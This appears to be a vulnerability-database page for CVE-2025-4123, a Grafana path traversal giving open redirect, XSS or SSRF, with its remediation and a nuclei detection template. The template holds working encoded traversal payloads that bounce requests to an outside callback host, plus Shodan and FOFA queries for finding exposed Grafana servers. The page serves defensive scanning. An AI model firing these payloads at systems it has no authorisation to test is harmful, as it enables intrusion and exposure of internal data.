HexBrain

Browse / CVEs / CVE-2025-4123

CVE-2025-4123· CWE-79, CWE-601

Grafana - XSS / Open Redirect / SSRF via Client Path Traversal

highseverity
7.6CVSS score
97.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.

Impact

Attackers can exploit path traversal to achieve open redirect, XSS, or SSRF attacks, potentially leading to internal data exposure or account takeover.

Fix

Upgrade Grafana to the latest version that properly validates and sanitizes file paths in the render endpoint.

How to confirm it

Send: GET /render/public/..%252f%255C{{interactsh-url}}%252f%253F%252f..%252f.. ; GET /public/..%2F%5coast.pro%2F%3f%2F..%2F..
Positive when: status_code == 302 && starts_with(location, '/\\oast.pro/') OR contains(interactsh_protocol, 'dns') && contains(content_type, 'image/png')

Run it with nuclei: nuclei -id CVE-2025-4123 -u <target>

The full check
id: CVE-2025-4123

info:
  name: Grafana - XSS / Open Redirect / SSRF via Client Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.
  impact: |
    Attackers can exploit path traversal to achieve open redirect, XSS, or SSRF attacks, potentially leading to internal data exposure or account takeover.
  remediation: |
    Upgrade Grafana to the latest version that properly validates and sanitizes file paths in the render endpoint.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
    cvss-score: 7.6
    cve-id: CVE-2025-4123
    cwe-id: CWE-79,CWE-601
    epss-score: 0.97083
    epss-percentile: 0.99892
  reference:
    - https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53
    - https://grafana.com/blog/2025/05/21/grafana-security-release-high-severity-security-fix-for-cve-2025-4123/
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"Grafana"
    fofa-query: app="Grafana"
  tags: cve,cve2025,grafana,redirect,unauth,oss,vkev,vuln

http:
  - raw:
      - |
        GET /render/public/..%252f%255C{{interactsh-url}}%252f%253F%252f..%252f.. HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /public/..%2F%5coast.pro%2F%3f%2F..%2F.. HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: open-redirect
        dsl:
          - status_code == 302 && starts_with(location, '/\\oast.pro/')

      - type: dsl
        name: ssrf
        dsl:
          - contains(interactsh_protocol, 'dns') && contains(content_type, 'image/png')

References

Use this check only on systems you are authorised to test. Where the data comes from